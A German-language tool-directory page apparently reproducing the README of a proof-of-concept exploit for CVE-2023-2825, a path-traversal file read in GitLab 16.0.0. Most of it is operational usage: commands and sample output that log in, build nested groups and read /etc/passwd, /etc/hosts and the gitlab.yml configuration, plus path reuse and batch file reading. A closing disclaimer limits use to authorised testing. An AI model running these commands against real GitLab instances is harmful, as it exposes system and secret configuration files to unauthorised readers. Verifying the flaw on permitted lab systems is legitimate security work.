Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-2825-PoC — PoC für CVE-2023-2825: automatisierter beliebiger Dateizugriff in GitLab 16.0.0 über verschachtelte öffentliche Gruppen, Projekt-Upload-Traversal, wiederverwendbare Upload-Pfade und saubere CLI-Ausgabe. | Kitploit
Tools/GitHubGitHub/groppoxx/cve-2023-2825-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

PoC für CVE-2023-2825: automatisierter beliebiger Dateizugriff in GitLab 16.0.0 über verschachtelte öffentliche Gruppen, Projekt-Upload-Traversal, wiederverwendbare Upload-Pfade und saubere CLI-Ausgabe.

Repository anzeigen
4vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-2825-PoC

Proof-of-Concept für CVE-2023-2825, eine Schwachstelle zum beliebigen Dateilesen in GitLab CE/EE 16.0.0.

Das Skript meldet sich mit einem gültigen GitLab-Konto an, erstellt die erforderliche öffentliche, verschachtelte Gruppenstruktur, erstellt ein öffentliches Projekt, lädt einen Anhang hoch und nutzt das anfällige Upload-Pfad-Traversal-Verhalten aus, um eine Zieldatei vom GitLab-Server zu lesen.

Es unterstützt auch die Wiederverwendung eines vorhandenen Upload-Pfads, sodass Sie nicht für jeden Dateizugriff neue Gruppen und Projekte erstellen müssen.

Funktionsweise

  1. Authentifizierung bei der Ziel-GitLab-Instanz.
  2. Erstellen von verschachtelten öffentlichen Gruppen mit kurzen Pfaden für zuverlässige tiefe Verschachtelung.
  3. Erstellen eines öffentlichen Projekts innerhalb der tiefsten Gruppe.
  4. Hochladen eines kleinen Anhangs in das Projekt.
  5. Aufbau des Traversal-Pfads aus dem Upload-Verzeichnis.
  6. Lesen einer Datei oder einer Liste von Dateien.
  7. Ausgabe eines wiederverwendbaren Upload-Pfads für schnellere nachfolgende Lesevorgänge.

Voraussetzungen

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Erforderliche Python-Pakete:

root@kitploit:~
beautifulsoup4
requests
urllib3

Schnellstart

Werte in spitzen Klammern sind Platzhalter. Ersetzen Sie sie durch Ihre eigenen Werte und lassen Sie die Zeichen < oder > weg.

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

Platzhalter

root@kitploit:~
<GITLAB_URL>   # Basis-URL der Ziel-GitLab-Instanz. Beispiel: http://gitlab.local
<USERNAME>     # Gültiger GitLab-Benutzername.
<PASSWORD>     # Gültiges GitLab-Passwort.

Vollständiges Beispiel

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

Beispielausgabe:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] CSRF-Token abrufen
[2026-05-17T18:20:10Z] [+] CSRF-Token gefunden
[2026-05-17T18:20:11Z] [*] Anmelden als alice
[2026-05-17T18:20:11Z] [+] Anmeldung erfolgreich
[2026-05-17T18:20:12Z] [*] Erstelle 11 verschachtelte öffentliche Gruppen
[2026-05-17T18:20:18Z] [+] Gruppe erstellt: A1B-11
[2026-05-17T18:20:19Z] [*] Öffentliches Projekt erstellen
[2026-05-17T18:20:20Z] [+] Wiederverwendbarer Upload-Pfad: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Lese Datei: /etc/hosts

[+] Inhalt von /etc/hosts
127.0.0.1 localhost

Wiederverwendung eines Upload-Pfads

Nach einem erfolgreichen Durchlauf gibt das Skript einen wiederverwendbaren Upload-Pfad aus:

root@kitploit:~
Wiederverwendbarer Upload-Pfad: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

Verwenden Sie ihn mit --reuse-path, um Anmeldung, Gruppenerstellung, Projekterstellung und Upload zu überspringen:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Sie können auch eine vollständige URL übergeben und --url weglassen:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Mehrere Dateien lesen

Erstellen Sie eine Dateiliste:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

Ausführen:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

Optionale Flags

root@kitploit:~
--groups <N>
   Anzahl der zu erstellenden verschachtelten öffentlichen Gruppen. Standard: 11

--depth <N>
   Anzahl der zu verwendenden Traversal-Abschnitte. Standard: 12

--reuse-path <PFAD_ODER_URL>
   Vorhandenes Projekt-Upload-Verzeichnis. Überspringt die Einrichtung und liest direkt Dateien.

--only-final
   Versteckt Fortschrittsmeldungen und gibt nur Dateiinhalte aus.

--no-color
   Deaktiviert ANSI-Farben.

--debug
   Gibt den generierten Traversal-Pfad zur Fehlersuche aus.

Hinweise

  • Der Exploit erfordert GitLab CE/EE 16.0.0.
  • Ein gültiges GitLab-Konto ist erforderlich, um die öffentlichen, verschachtelten Gruppen und das Projekt zu erstellen.
  • Der anfällige Pfad erfordert einen Anhang in einem öffentlichen Projekt, das in mehreren öffentlichen Gruppen verschachtelt ist.
  • Kurze Gruppennamen werden bewusst verwendet, um Probleme bei der Erstellung tiefer Pfade in GitLab zu vermeiden.
  • Verwenden Sie nach Möglichkeit --reuse-path, um die Erstellung unnötiger Gruppen und Projekte zu vermeiden.

Rechtliches

Dieser PoC ist für autorisierte Sicherheitstests, Laborumgebungen und Schwachstellenüberprüfungen bestimmt. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen